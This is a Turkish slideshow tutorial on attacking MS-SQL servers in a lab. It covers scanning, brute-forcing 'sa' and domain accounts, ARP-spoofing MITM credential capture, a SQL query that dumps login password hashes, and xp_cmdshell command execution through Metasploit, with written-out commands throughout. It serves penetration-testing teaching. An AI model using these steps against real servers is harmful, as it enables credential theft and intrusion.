Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

MSSQL Hacking ve Post Exploitation Yontemleri

367 views

Published on

MS-SQL sızma testlerinde ciddi bir hedef haline geldi diyebiliriz. Bu yazımda MS-SQL bilgi toplama, Brute Force, Sızma, Erişim Elde Etme, Malware (Backconnect) ve diğer Post-Exploitation işlemlerine güncel yöntemler ile değinmeye çalışacağım. Tüm bunların yanında, kendi deneyimlerim, güncel sorun ve çözümleri de ayrıca paylaşacağım.

Published in: Technology
  • Be the first to comment

MSSQL Hacking ve Post Exploitation Yontemleri

  1. 1. MS-SQL Hacking ve Post Exploitation Yöntemleri Eyüp Çelik Siber Güvenlik Danışmanı http://www.eyupcelik.com.tr
  2. 2. EYÜP ÇELİK 1 http://www.eyupcelik.com.tr 1 İçindekiler 1. MS-SQL Servis Tespiti ve Bilgi Toplama........................................................................ 3 1.a Nmap ile Servis Tespiti.................................................................................................... 3 1.b Metasploit ile Servis Tespiti ............................................................................................ 6 1.c Microsoft SQL Server Management Studio ile Servis Tespiti ..................................... 7 1.d paping ile Servis Tespiti.................................................................................................. 8 1.e amap ile Servis Tespiti.................................................................................................... 8 2. MS-SQL Hacking ............................................................................................................ 9 2.a Brute-Force ..................................................................................................................... 9 2.a.1 Domain Kullanıcılarına Yönelik Brute Force Saldırısı ............................................... 9 2.a.2 MS-SQL Kullanıcılarına Yönelik Brute Force Saldırısı ..............................................10 2.a.2.a Metasploit ile MS-SQL’e Brute Force Saldırısı .....................................................10 2.a.2.b Nmap ile MS-SQL’e Brute Force Saldırısı.............................................................11 2.a.2.c C# ile MS-SQL’e Brute Force Saldırısı ..................................................................13 2.a.3 MS-SQL Kullanıcılarına Yönelik MITM Saldırısı .........................................................17 3. MS-SQL Post Exploitation ............................................................................................20 3.a MS-SQL Enumeration...................................................................................................20 3.a.1 Metasploit ile MS-SQL Enumeration........................................................................20 3.a.2 C# ile MS-SQL Enumeration ....................................................................................21 3.b Command Execution ile Sisteme Sızma ...................................................................25 3.b.1 Metasploit Command Execution ve Sızma...........................................................25 3.b.2 C# ile Command Execution ve Sızma...................................................................26 3.c.1 İşletim Sistemine Kullanıcı Hesabı Ekleme ve Yetkilendirme................................28 3.c.2 Windows Servislerini Yönetme .................................................................................29 3.c.3 İşlemleri Yönetme......................................................................................................29 3.c.4 Dosya ve Dizinleri Yönetme .....................................................................................29 3.c.5 Ağı Yönetme..............................................................................................................30 3.c.6 Windows Yamalarını Yönetme................................................................................30 3.d MS-SQL Dosya İndirme ve Zararlı Kod Çalıştırma.....................................................30 3.d.1 Windows’a Dosya İndirme.......................................................................................30 3.d.2 Windows’a Zararlı Dosya İndirme ve Ters Bağlantı Alma ....................................31 3.d.3 Meterpreter ile Ters Bağlantı Alma .........................................................................36 4. Hak ve Yetki Yükseltme ..............................................................................................37 5. İzlerin Temizliği (Anti-Forensics) ..................................................................................40
  3. 3. EYÜP ÇELİK 2 http://www.eyupcelik.com.tr 2 MSSQL; Microsoft tarafından yaklaşık 15+ yıldır geliştirilen bir veritabanı yönetim sistemidir. Başlıca MS-SQL 2000, MS-SQL 2005, MS-SQL 2008, MS-SQL 2012, MS-SQL 2014 ve MS-SQL 2016 olmak üzere 5 ayrı dağıtım ile tanıştık. MS-SQL’i diğer veritabanlarından ayıran en önemli özelliklerinin başında, diğer Microsoft ürünleri ile entegrasyon gelmektedir. Bu entegrasyonun özellikle. NET çatısı ile birleştirilmesi sonucu ürün, birçok kuruma girmeyi başardı. MS-SQL; Oracle ve MySQL gibi ciddi rakiplerinin arasında sağlam bir yer edinmeyi başardı. (Ürünü övüp reklam yapmıyorum) Hal böyle olunca da MS-SQL sızma testlerinde ciddi bir hedef haline geldi diyebiliriz. Bu yazımda MS-SQL bilgi toplama, Brute Force, Sızma, Erişim Elde Etme, Malware (Backconnect) ve diğer Post-Exploitation işlemlerine güncel yöntemler ile değinmeye çalışacağım. Tüm bunların yanında, kendi deneyimlerim, güncel sorun ve çözümleri de ayrıca paylaşacağım. Şimdi adım adım MS-SQL sızma konusuna değinelim. Not: Bu içerik, Kali Linux dağıtımının kurulu olduğu ve MS-SQL sunucusu ile aynı ağda olduğu varsayılarak yazılmıştır. Kali Linux işletim sistemi NAT ile bağlanmış ve IP’si aşağıdaki gibidir. Network Topolojimiz de aşağıdaki gibidir.
  4. 4. EYÜP ÇELİK 3 http://www.eyupcelik.com.tr 3 Saldırganın network’e dahil olduğu ve sunucu ağına erişebildiği varsayılmıştır. Buna göre ağımızda 2 adet MS-SQL, MS-SQL’lerin bağlı olduğu bir Domain Controller ve DMZ alanında koşan, SQL’e bağlanabilen dinamik bir web sunucusu mevcuttur. Tüm doküman bu test ortamı üzerinden anlatılacaktır. 1. MS-SQL Servis Tespiti ve Bilgi Toplama Her şeyden önce dâhil olduğumuz ağdaki MS-SQL servislerini ve sürümlerini bulmakla işe başlayabiliriz. Servis tespiti için; Nmap, MetaSploit, Microsoft SQL Server Management Studio, paping ve amap’ten faydalanabiliriz. 5 Aracı da ayrı ayrı inceleyeceğiz. 1.a Nmap ile Servis Tespiti Kali işletim sistemini açarak bir terminale erişelim. “nmap -A -v -p 1433 192.168.139.0/24” komutu ile 192.168.139.1-192.168.139.254 IP adresi aralığında, 1433 portu açık olan sunucuları tarayabiliriz. nmap -A -v -p 1433 192.168.139.0/24
  5. 5. EYÜP ÇELİK 4 http://www.eyupcelik.com.tr 4 Tarama çıktısı yukarıdaki gibi olacaktır. Bu çıktıya göre 192.168.139.0/24 ağında, 192.168.139.102 IP adresinin MS-SQL yayını yaptığını ve MS-SQL Server 2012 sürümünü kullandığını görebiliriz. Nmap içerisinde yer alan ve MS-SQL servis bilgelerini almak için kullanabileceğimiz bir diğer araç da Nmap “ms-sql-info” scriptidir. Scripti kullanabilmek için; nmap --script ms-sql-info 192.168.139.167 Diğer taramamızın da çıktısı aşağıdaki gibi olacaktır. Üstteki Nmap çıktısına göre 192.168.139.167 IP adresi Microsoft SQL Server 2014 SP1 versiyonuna sahip, diyebiliriz.
  6. 6. EYÜP ÇELİK 5 http://www.eyupcelik.com.tr 5 Önemli Not: Bu bilgileri alabilmemizin sebebi MS-SQL’in TCP/IP bağlantılarına izin verilmesinden kaynaklıdır. “SQL Server Configuration Manager”da “SQL Server Network ConfigurationProtocols for $MSSQLInstanceName” tabı altında yer alan TCP/IP seçeneğinin “Enabled” olmasından kaynaklanmaktadır. Bu seçeneğin aktif olması, ağdaki diğer cihazların MS-SQL portuna erişebilmesini sağlamaktadır. Normal şartlar altında MS-SQL servisine bağlanacak IP adreslerinin kısıtlanmasını tavsiye edebilirim. Eğer MS-SQL servisine sadece 192.168.139.1 IP adresi bağlanacaksa, Windows Güvenlik Duvarı’nda erişim tanımlaması yapmamız gerekir. Bunun için komut satırına ya da çalıştır’a “wf.msc” yazarak, “Windows Firewall with Advanced Security”e erişelim. Ardından sol tarafta yer alan “Inbound Rules” menüsüne erişerek, sağ tarafta yer alan “New Rule”a tıklayalım. Yeni kural tanımlama ekranından “Port”u seçerek, Next’i tıklayalım. “TCP”yi seçip, “Spesific local ports”a “1433” yazarak Next’i tıklayalım. Action kısmına “Allow Connection”ı seçerek Next’i tıklayalım. Yeni oluşturduğumuz Rule’un etkili olacağı Profilleri işaretleyip, Next’i tıklayalım. Oluşturduğumuz Rule’a bir isim (MS-SQL) vererek, Finish diyelim. Oluşturduğumuz Rule, Inbound Rules kısmına düşecek. Şimdi oluşturduğumuz Rule’u çift tıklayıp, üstte bulunan “Scope” menüsüne tıklayalım. Aşağıda bulunan “Remote IP Address” kısmının sağ tarafındaki “Add”e tıklayalım. İzin vermek istediğimiz IP adresini veya aralığı yazalım. Biz 192.168.139.1 IP adresine izin vereceğimiz için bu IP adresini yazıp, “Apply” diyelim. Artık, MS-SQL sunucumuza sadece izin verdiğimiz IP adresi bağlanabilecek. Eğer dilersek bir IP aralığı da Wildcard Mask kullanarak verebiliriz. Örneğin; sadece 192.168.139.0-192.168.139.255 IP aralığındaki bir herhangi bir IP’nin bağlanmasını istiyorsak; 192.168.139.0/24 şeklinde bir
  7. 7. EYÜP ÇELİK 6 http://www.eyupcelik.com.tr 6 girdi ile bu aralıktaki tüm IP adreslerine izin vermiş oluruz. Normal şartlar altında, MS-SQL gibi kritik verilerin olabileceği sunucuların bir aralığa değil de her IP adresi için özel olarak kısıtlanması gerekir. 1.b Metasploit ile Servis Tespiti Metasploit Framework’ü de MS-SQL servis bilgilerini toplamak konusunda bize yardımcı olabilecek bir diğer araç olarak kullanabiliriz. Bilgi toplama işlemi için, MSF (Metasploit Framework) içerisinde yer alan “auxiliary/scanner/mssql/mssql_ping” Auxiliary modülünü kullanabiliriz. 192.168.139.167 IP adresi için bir tarama başlatacağız. Kali işletim sistemimizde bir konsol açalım. Ardından “msfconsole” komutunu kullanarak MSF konsolunu başlatalım. Sırası ile aşağıdaki komutları çalıştıralım. use auxiliary/scanner/mssql/mssql_ping set RHOSTS <IP Adresi yada IP Aralığı> run
  8. 8. EYÜP ÇELİK 7 http://www.eyupcelik.com.tr 7 1.c Microsoft SQL Server Management Studio ile Servis Tespiti Ağdaki MS-SQL servislerinin tespiti için “Microsoft SQL Server Studio Manager”dan da yararlanabiliriz. Bunun için Microsoft SQL Server Management Studio’yu açalım. File menüsünden “Connect Object Explorer”a tıklayalım. Karşımıza gelen oturum açma alanından “Server Name”e erişelim. Buradan aşağı doğru bakan ok işaretini tıklayarak, <Browse for more…> seçeneğini seçelim. Bu seçeneği tıklamamızın ardından yeni bir menü karşımıza gelecek. Üst kısımda yer alan “Network Servers” menüsüne tıklayalım. Bulunduğumuz ağdaki yayın yapan MS-SQL sunucularının listesi ve versiyonları burada gözükecektir. Dip Not: MS-SQL servislerinin “Network Servers” menüsünde görünebilmesi için, yayın yapan MS-SQL sunucusunda “SQL Server Browser” servisinin çalışıyor olması gerekmektedir. Bu servis çalışmıyorsa, “Network Servers” menüsünden SQL sunucusunu göremiyoruz.
  9. 9. EYÜP ÇELİK 8 http://www.eyupcelik.com.tr 8 1.d paping ile Servis Tespiti MS-SQL servis tespiti için kullanabileceğimiz bir diğer araç da “paping” uygulamasıdır. Bu uygulama daha çok bir IP adresindeki portları pinglemek için yazılmış olsa da servis tespiti için kullanılabilecek uygulamalardan biridir. Açık kaynak kodlu bu uygulamayı https://code.google.com/archive/p/paping/ adresinden indirebiliriz. paping uygulaması -p parametresi ile port bilgisini alarak, belirtmiş olduğumuz IP adresindeki servisi pingleyerek, servisin açık olup olmadığını kontrol etmek için kullanabiliriz. Yukardaki ekran görüntüsünde “paping -p 1433 192.168.139.102” komutu ile 192.168.139.102 IP adresinin 1433 portunu pingleyerek, MS-SQL servisinin çalışıp çalışmadığını anlayabiliriz. 1.e amap ile Servis Tespiti Servis tespiti için kullanabileceğimiz bir diğer araç ise “amap”. amap Kali Linux ile birlikte gelen ve “Banner Grabbing” yapabilen bir araçtır. Bu araç ile belirttiğimiz portta yayın yapan uygulamanın servis bilgilerini alabiliriz. amap -A 192.168.139.167 1433 amap ile MS-SQL servisi hakkında, yukarıdaki gibi bilgi alabiliriz.
  10. 10. EYÜP ÇELİK 9 http://www.eyupcelik.com.tr 9 2. MS-SQL Hacking Şimdiye kadar MS-SQL hakkında bilgi toplama işlemleri gerçekleştirdik. Ağda bulunan servisler, bu servislerin versiyonlarını ve IP adreslerini bulduk. Artık MS-SQL için hacking konusuna geçebiliriz. MS-SQL hacking konusunu da 2 ana başlık altında inceleyeceğiz. 2.a Brute-Force Brute force, en çok kullanılan MS-SQL saldırı yöntemlerinin başında gelir. Şimdiye kadar gerek kamu gerekse de özel kuruluşlara yapmış olduğum sızma testlerinde mutlak sonuca götüren yöntemlerden biri diyebilirim. Kurum ve kuruluşlarda özellikle test sunucularında oldukça başarılı bir yöntemdir. Birçok kurum ve kuruluşta bu yöntem ile “Domain Admin” hesabını ele geçirdim. Özellikle yazılım geliştiren kurum ve kuruluşlarda, daha hızlı ve pratik kullanım için MS-SQL sunucuları varsayılan olarak güvenliğe dikkat edilmeden bırakılmaktadır. MS-SQL veritabanı 2 oturum açma türüne sahiptir. Bu oturum açma türleri, MS-SQL ilk kurulumu sırasında ayarlanarak, veritabanı hizmeti yüklenir. 1- Windows Authentication 2- SQL Server Authentication. Windows Authentication; hem yerel hem de domain kullanıcılarının SQL sunucusuna başka bir şifre girmelerine gerek kalmadan oturum açabilmelerine olanak tanır. SQL Server Authentication ile de varsayılanda “sa” kullanıcısı için bir parola belirlenerek kurulum tamamlanır. Sadece Windows ile oturum ya da Mixed mod ile hem Windows hem de SQL Server kullanıcı hesabı ile oturum açılabilmektedir. Brute force işte tam bu noktada imdadımıza yetişmektedir. MS-SQL için brute force işlemini iki başlık altında inceleyebiliriz. 1- SQL’de oturum açma hakkına sahip domain kullanıcıları 2- SQL kullanıcıları için şeklinde inceleyebiliriz. 2.a.1 Domain Kullanıcılarına Yönelik Brute Force Saldırısı Bu yöntem biraz uğraş isteyen yöntemlerden biridir. Öncelikle yazılım geliştiren ya da veritabanı yöneticisi olan kişilerin sosyal ağlardan bulunması ile işe başlanabilir. Burada yapacağımız ilk işlerden biri, test yaptığımız kurum veya kuruluştaki SQL’de oturum açabilecek kullanıcıların Linkedin, Twitter veya Facebook üzerinden aratmamız gerekecektir. Aradığımız personeli bulduktan sonra bu personel için brute force işlemi başlatabiliriz. Bu işlem için kullanabileceğimiz en sağlıklı araç, Metasploit içerisinde yer alan “auxiliary/scanner/smb/smb_login” modülü olacaktır. use auxiliary/scanner/smb/smb_login set RHOSTS <IP Adresi yada IP Aralığı>(Domain kullanıcıları için en sağlıklı host, DC’nin IP’si dir.) set SMBDOMAIN <Domain Adresi> set USER_FILE <Kullanıcı Adlarının Olduğu Dosya> set PASS_FILE <Şifre Dosyası> run
  11. 11. EYÜP ÇELİK 10 http://www.eyupcelik.com.tr 10 MSF ile SMB servisi için bir brute force işlemi başlattık. Test sonunda “secuirtylabs.local” domainde “db” kullanıcısının “Password1” parolasına sahip olduğunu tespit ettik. Elde ettiğimiz kullanıcı hesabı ile MS-SQL’e sızma işlemini bir sonraki bölümde detaylıca inceleyeceğiz. 2.a.2 MS-SQL Kullanıcılarına Yönelik Brute Force Saldırısı MS-SQL’e gelen saldırıların büyük çoğunluğu SQL kullanıcı hesaplarına yönelik yapılmaktadır. Özellikle MS-SQL varsayılan yönetici hesabı olan “sa” hesabına yönelik saldırılar ile SQL veritabanı ele geçirilmeye çalışılır. Bu bölümde MS-SQL’e brute force işlemi yapabilen 2 araçla birlikte, .NET (C#) ortamında brute force işlemini kendi programımız ile nasıl gerçekleştirebileceğimize de değineceğim. 2.a.2.a Metasploit ile MS-SQL’e Brute Force Saldırısı MS-SQL kullanıcı hesaplarına yönelik Metasploit’de bulunan “auxiliary/scanner/mssql/mssql_login” modülünü kullanabiliriz. Bu Auxiliary modülü ile MS-SQL kullanıcılara brute force yapabiliriz. use auxiliary/scanner/mssql/mssql_login set RHOSTS <IP Adresi yada IP Aralığı>(Domain kullanıcıları için en sağlıklı host, DC’nin IP’si dir.) set USER_FILE <Kullanıcı Adlarının Olduğu Dosya> set PASS_FILE <Şifre Dosyası> set THREADS 10 (Şifre dosyasının büyüklüğüne göre thread ayarlayarak testi hızlandırabiliriz) run
  12. 12. EYÜP ÇELİK 11 http://www.eyupcelik.com.tr 11 MS-SQL için Metasploit üzerinden başlattığımız brute force işlemi başarı ile tamamlandı. “sa” kullanıcısının “Password1” parolasını sahip olduğu tespit edildi. Bundan sonra yapacağımız işlem, parolası tespit edilen kullanıcı hesabı ile MS-SQL sunucusuna erişerek, komut çalıştırmak olacaktır. 2.a.2.b Nmap ile MS-SQL’e Brute Force Saldırısı MS-SQL brute force işlemi için kullanabileceğimiz bir diğer araç da “Nmap”te bulunan “ms-sql-brute” scriptidir. nmap --script ms-sql-brute --script-args userdb=<kullanıcı dosyası>,passdb=<şifre dosyası> IP yada IP Aralığı
  13. 13. EYÜP ÇELİK 12 http://www.eyupcelik.com.tr 12 192.168.139.102 IP adresi için başlattığımız test tamamlandı. “sa” kullanıcısı için “Password1” parolasını tespit etmiş. Nmap scripti en gelişmiş tekniklere sahip brute force aracıdır. Üstteki resimde görüleceği üzere bir kullanıcı dosyası ve bir şifre dosyası ile MS-SQL brute force işlemini başlatmıştım. Bunun dışında “2.a.1 Domain Kullanıcılarına Yönelik Brute Force Saldırısı” başlığı altında “smb” şifresini bulduğumuz kullanıcı hesabı gibi “domain” kullanıcılarına da yönelik şifre denemesi gerçekleştirebilir. nmap -p 1433 --script ms-sql-brute --script-args "ms-sql-brute.brute-windows- accounts=true,userdb=/root/Desktop/userfile.txt,smbdomain=securitylabs.local,sm bport=445,passdb=/root/Desktop/passfile.txt,mssql.domain=securitylabs.local" 192.168.139.102 ms-sql-brute scripti içerisinde yer alan SMB seçenekleri ile MS-SQL’de oturum açabilen domain kullanıcılarına yönelik brute force testi başlattık. Script, MS-SQL için yapılan brute force işleminde domainde bulunan “db” kullanıcısının şifresini tespit etmiştir.
  14. 14. EYÜP ÇELİK 13 http://www.eyupcelik.com.tr 13 2.a.2.c C# ile MS-SQL’e Brute Force Saldırısı Bu bölümde de MS-SQL için C# ile basit bir brute force aracını nasıl yazabileceğimize değineceğim. Visual studio’dan yeni bir proje oluşturalım. Form ekranına aşağıdaki gibi controlleri ekleyelim. Forma 3 adet buton, 2 adet textbox ekledim. Kullanıcı dosyası için btnKullanici, şifre dosyası için btnSifre ve başlat butonu için btnBaslat isimlerini verdim. IP adresi için txtIP ve loğları yazdırmak için de txtStatus adında controllerimi isimlendirdim. Ayrıca globalde de iki adet “Generic List” oluşturdum. Globalde oluşturduğumuz generic list’ler yukarıdaki resimde görüldüğü gibi olacak. btnKullanici’dan ve btnSifre’den seçtiğimiz dosyalar bu generic listler içerisine doldurulacak.
  15. 15. EYÜP ÇELİK 14 http://www.eyupcelik.com.tr 14 Kullanıcı dosyası seçildikten sonra aynı işlemi şifre dosyası için de uyguluyoruz.
  16. 16. EYÜP ÇELİK 15 http://www.eyupcelik.com.tr 15 Tüm bu işlemlerin ardından artık brute force işlemi için metodumuzu yazmaya koyulabiliriz. Bunun için “BruteForce” adında bir metod tanımladım. Metodumuz da aşağıdaki gibi olacaktır. Oluşturduğumuz metod yukarıdaki gibi olacak. Geriye bir tek işlem kaldı, bu brute force metodunu çalıştırmak.
  17. 17. EYÜP ÇELİK 16 http://www.eyupcelik.com.tr 16 btnStart için bir Task oluşturup, bu taska da BruteForce isimli oluşturduğumuz metodu tanımlıyoruz. Artık her şeyimiz hazır. Unutmadan! Form’un load event’ına da “CheckForIllegalCrossThreadCalls = false;” u ekliyoruz. Çünkü metodumuzu bir task içerisine doldurduk ve metod içerisinde txtStatus’e yazı yazdırıyoruz, dolayısı ile bunu vermez isek “InvalidOperationException” alacağız. Kodları derleyip programı başlatıyoruz. Ve testimizin sonucu yukarıdaki gibi olacaktır. Program başarılı bir şekilde brute force için kullanılabilir. Yazının en sonunda programın kaynak kodlarını da paylaşacağım. Kopyala yapıştır yerine biraz yazmaya teşvik etmek için kodları bilerek resim olarak veriyorum.
  18. 18. EYÜP ÇELİK 17 http://www.eyupcelik.com.tr 17 2.a.3 MS-SQL Kullanıcılarına Yönelik MITM Saldırısı Bu saldırı türünde ise MS-SQL kullanıcı hesaplarını ele geçirmek için MITM saldırısı yapacağız. MITM saldırısı ile ağda MS-SQL oturumu açan kullanıcının erişim bilgilerini ele geçireceğiz. Bunun için birkaç işlemi / aracı bir arada kullanmamız gerekiyor. 1. IP Forwarding 2. NAT 3. Metasploit 4. Arp Spoof 1. IP Forwarding Öncelikle 192.168.139.164 IP adresine sahip saldırgan makinamızda (Kali Linux) ip_forwarding’i aktif etmemiz gerekiyor. Bunun için; “echo 1 > /proc/sys/net/ipv4/ip_forward” komutu ile ip_forward özelliğini aktif ediyoruz. Bir sonraki adımda NAT kuralı oluşturmamız gerekiyor. MITM saldırısına maruz kalacak kullanıcı MS-SQL’e erişim sağlamaya çalıştığında, erişim sağlamaya çalıştığı trafiği bize yönlendirecek. Yani; kurbanımız MS-SQL veritabanına erişim sağlamak için 1433 portuna bağlandığında, oluşan trafiği bizim Kali Linux’umuzdaki sahte 1433 portuna yönlendirecek. Böylece trafiği yakalayarak içeriğini okuyabileceğiz. 2. NAT “iptables -t nat -A PREROUTING -p tcp -d 192.168.139.102 --dport 1433 -j REDIRECT --to- ports 1433” komutu ile kurbanımız 1433 portuna yönlendirilmiş olacak ve 192.168.139.102 (MS-SQL DB) IP adresinin 1433 portuna giden trafiğin arasına girmemizi sağlayacak. 3. Metasploit Gerekli ayarları yaptıktan sonraki adımımız, MS-SQL’e giden trafiği sniff etmemiz olacaktır. Bunun için de Metasploit Framework içerisinde bulunan “auxiliary/server/capture/mssql” auxiliary modülünü kullanacağız. Yeni bir konsol ekranı açarak aşağıdaki konfigürasyonu gerçekleştirelim.
  19. 19. EYÜP ÇELİK 18 http://www.eyupcelik.com.tr 18 use auxiliary/server/capture/mssql run Varsayılan ayarlar bizim için yeterli olacaktır. Bu hali ile komutumuzu girip, sniff işlemini çalışır duruma getiriyoruz. Artık geriye bir tek işlemimiz kaldı, ARP Spoof yaparak trafiği Kali Linux makinamıza yönlendirmek. 4. ARP Spoof Bu işlem ile MS-SQL’e giden trafiği Kali Linux makinamıza yönlendireceğiz. Böylece kurban MS-SQL’de oturum açmaya çalışırken şifresini Metasploit ile yakalayacağız. Dip Not: Kurban olarak seçeceğimiz makine çok önemli! Yani öyle bir makine seçmeliyiz ki MS-SQL’e bağlansın. Ben MITM için Web Sunucularına arp spoof yapılmasını tavsiye ediyorum. Çünkü .net ile geliştirilmiş uygulamalar genel itibari ile MS- SQL’e bağlanırlar. Web uygulamasının bulunduğu sunucuyu spoof ettiğimizde başarıya ulaşma şansımız oldukça yüksektir. Tabi birkaç dakikalık kesinti problem değilse… En başta network topolojimizi paylaşmıştım. Ağda yayın yapan Web Server (IIS) 192.168.139.163 IP adresinde yayın yapıyor. “arpspoof -i <interface> -t <kurban> <MS-SQL server>“ komutu ile ARP Spoof işlemini başlatıyoruz. Hemen ardından Web sunucusuna bir browser aracılığı ile erişip, MS-SQL’e bağlanmasını sağlıyoruz. MS-SQL’e bağlantı isteği gittiğinde ise şifreyi dump edeceğiz.
  20. 20. EYÜP ÇELİK 19 http://www.eyupcelik.com.tr 19 Web uygulamasına eriştiğimizde, yukardaki resimde görüleceği üzerine hata alacağız. Uygulama MS-SQL’e bağlanamadığı için hataya düşecektir. Şimdi Metasploit framework e geri dönüp, dump edilen şifreye bakalım. Görüleceği üzere MS-SQL bağlantısı gerçekleştirilmiş ve erişim bilgileri elde edilmiştir.
  21. 21. EYÜP ÇELİK 20 http://www.eyupcelik.com.tr 20 3. MS-SQL Post Exploitation Şimdiye kadar MS-SQL servis tespiti ve sızma konularına baktık. Bundan sonra şifresi elde edilen MS-SQL kullanıcı hesabı ile post Exploitation kısmına değineceğiz. Elde ettiğimiz verilerle diğer sistemlere sızmaya çalışacağız. Bu adımdaki amacımız “Domain Controller”ı ele geçirmek olacaktır. Ancak bu konuyu da birkaç başlık altında inceleyeceğiz. 3.a MS-SQL Enumeration Bu adımda elde ettiğimiz şifre bilgilerini kullanarak diğer MS-SQL kullanıcılarının bilgilerini ele geçirmeye çalışacağız. Bunun için de birkaç aracı kullanacağız. 3.a.1 Metasploit ile MS-SQL Enumeration Elde ettiğimiz şifreyi kullanarak MS-SQL sunucusuna erişerek, diğer kullanıcıların erişim bilgilerini elde etmeye çalışacağız. Bunun için “auxiliary/admin/mssql/mssql_enum” Auxiliary modülünü kullanacağız. use auxiliary/admin/mssql/mssql_enum set RHOSTS <IP Adresi> set USERNAME <Kullanıcı Adı> set PASSWORD <Şifre > run mssql_enum modülü ile MS-SQL’de oturum açabilen kullanıcı hesapları, database dosyaları ve yetkili kullanıcı hesap adları gibi birçok bilgiyi elde edebiliriz.
  22. 22. EYÜP ÇELİK 21 http://www.eyupcelik.com.tr 21 Modülün çıktısı yukarıdaki gibi olacaktır. Oturum açabilen kullanıcılar ve database dosyalarının bulunduğu dizinlerin bilgisini aldık. 3.a.2 C# ile MS-SQL Enumeration Bu bölümde C# kullanarak MS-SQL Enumeration işlemlerini yapabiliriz. Bunun için “2.a.2.c C# ile MS-SQL’e Brute Force Saldırısı” bölümünde yaptığımız uygulamayı geliştireceğiz. Uygulamamıza aşağıdaki gibi kontrolleri ekleyelim.
  23. 23. EYÜP ÇELİK 22 http://www.eyupcelik.com.tr 22 Kullanıcı adını için txtKullanici, şifre için txtSifre, IP adresi için txtIPAdres, Enumeration için cmbEnumeration, ayrıca komutları kendimiz yazmak için txtKomut ve girdiğimiz verileri çalıştırmak için de btnCalistir adında kontrolleri ekliyoruz. cmbEnumeration adında ComboBox’ımıza “User Enumeration” adında bir Item ekliyoruz. Şimdi kodlamaya geçelim. “UserEnumeration” adında bir metod tanımlıyoruz. Kodumuz yukarıdaki gibi olacak. İki ayrı sorgu çalıştırıyoruz. Birinci sorgu MS-SQL’deki tüm kullanıcıları, ikinci sorgu ise MS-SQL’deki yetkili kullanıcı isimlerini bize döndürecek.
  24. 24. EYÜP ÇELİK 23 http://www.eyupcelik.com.tr 23 Kodumuzu yazdıktan sonra da btnCalistir’ın Click event’ına yukardaki gibi bir koşul ekliyoruz. Buna göre cmbEnumeration combobox’ından seçilen veri “User Enumeration” ise bir Task başlatıp, metodumuzu çalıştıracak. Programımızın çıktısı yukarıdaki gibi olacak. Artık kendi uygulamamız üzerinden bu işlemleri rahatlıkla yapabiliriz. Şimdi daha geniş bir Enumeration işlemi için birkaç kod paylaşacağım. Bu kodları da kullanarak uygulama için tanımlamalar yapabiliriz. SQL Komutu Açıklama select name from master..sysdatabases Tüm veritabanlarını gösterir select name from master.sys.sql_logins where is_expiration_checked = 0 Parolasının süresi bitmeyen kullanıcıları gösterir SELECT CAST(SYSOBJECTS.NAME AS CHAR) FROM SYSOBJECTS, SYSPROTECTS WHERE SYSPROTECTS.UID = 0 AND XTYPE IN ('X','P') AND SYSOBJECTS.ID = SYSPROTECTS.ID Kullanılabilir prosedürleri gösterir SELECT name, password_hash FROM master.sys.sql_logins Kullanıcıların hash’lerini dump eder DECLARE @RegLoc VARCHAR(100) select @RegLoc='SOFTWAREMicrosoftWindows NTCurrentVersion' Registry kayıt okuma
  25. 25. EYÜP ÇELİK 24 http://www.eyupcelik.com.tr 24 EXEC [master].[dbo].[xp_regread] @rootkey='HKEY_LOCAL_MACHINE', @key=@RegLoc, @value_name='ProductName' Ben yukarıdaki tabloda oturum açan kullanıcıların hash’lerini dump edecek SQL kodunu yazdım. Ayrıca bu kodu uygulama içinde de tanımladım. Uygulama dışında Metasploit Framework ile de hash’lerin dump’ı alınabilmektedir. Bunun aşağıdaki gibi Metasploit modülünü çalıştırarak diğer kullanıcıların hash’lerini dump edebiliriz. Ayrıca geliştirdiğimiz uygulamadan da aldığımız hash dump aşağıdaki gibi olacaktır.
  26. 26. EYÜP ÇELİK 25 http://www.eyupcelik.com.tr 25 3.b Command Execution ile Sisteme Sızma Bu bölümde elde ettiğimiz şifreler ile MS-SQL sunucusunda komutlar çalıştırarak MS-SQL sunucusunu ele geçireceğiz. Daha sonra da “Domain Controller”ı ele geçirmeye çalışacağız. MS-SQL veritabanında “xp_cmdshell” üzerinden komut gönderebiliriz. Ancak varsayılanda “xp_cmdshell” stored procedure’u kapalı olarak gelmektedir. Eğer elde ettiğimiz kullanıcı hesabı, “sysadmin” hak ve yetkilerine sahipse bu stored procedure’ü aktif edebiliriz. Bunun için 2 yöntem kullanacağız. 3.b.1 Metasploit Command Execution ve Sızma MS-SQL’de bulunan “auxiliary/admin/mssql/mssql_exec” Auxiliary modülünü kullanarak işletim sistemine komut göndereceğiz. Modülün kullanımı aşağıdaki gibidir. Not: mssql_exec Auxiliary modülü, ilk çalıştırılma anında eğer “xp_cmdshell” store procedur’ü aktif değil ise aktif duruma almakta, ardından komutumuzu bu prosedüre üzerinden çalıştırmaktadır. use auxiliary/admin/mssql/mssql_exec set RHOSTS <IP Adresi> set USERNAME <Kullanıcı Adı> set PASSWORD <Şifre > set CMD “Komut” run
  27. 27. EYÜP ÇELİK 26 http://www.eyupcelik.com.tr 26 İlk olarak “whoami” komutu ile işletim sisteminin hangi kullanıcı hak ve yetkilerine sahip olduğuna bakabiliriz. Yukarıdaki ekran çıktısında MS-SQL servisinin “nt authoritysystem” hak ve yetkilerine sahip olduğu görülmektedir. Servis bir Windows işletim sistemindeki en yetkili hesap ile çalışıyor diyebiliriz. 3.b.2 C# ile Command Execution ve Sızma Şimdi aynı işlemleri geliştirdiğimiz uygulama üzerinden yapalım. Bunun için uygulamamıza “CommandExecute” adında bir metod tanımlayalım. Ve metodumuz için yazacağımız kodlar da aşağıdaki gibi olacaktır. Kodlarımızı yukarıdaki gibi yazdıktan sonra “Çalıştır” butonumuza da gerekli tanımlamaları yapmamız lazım.
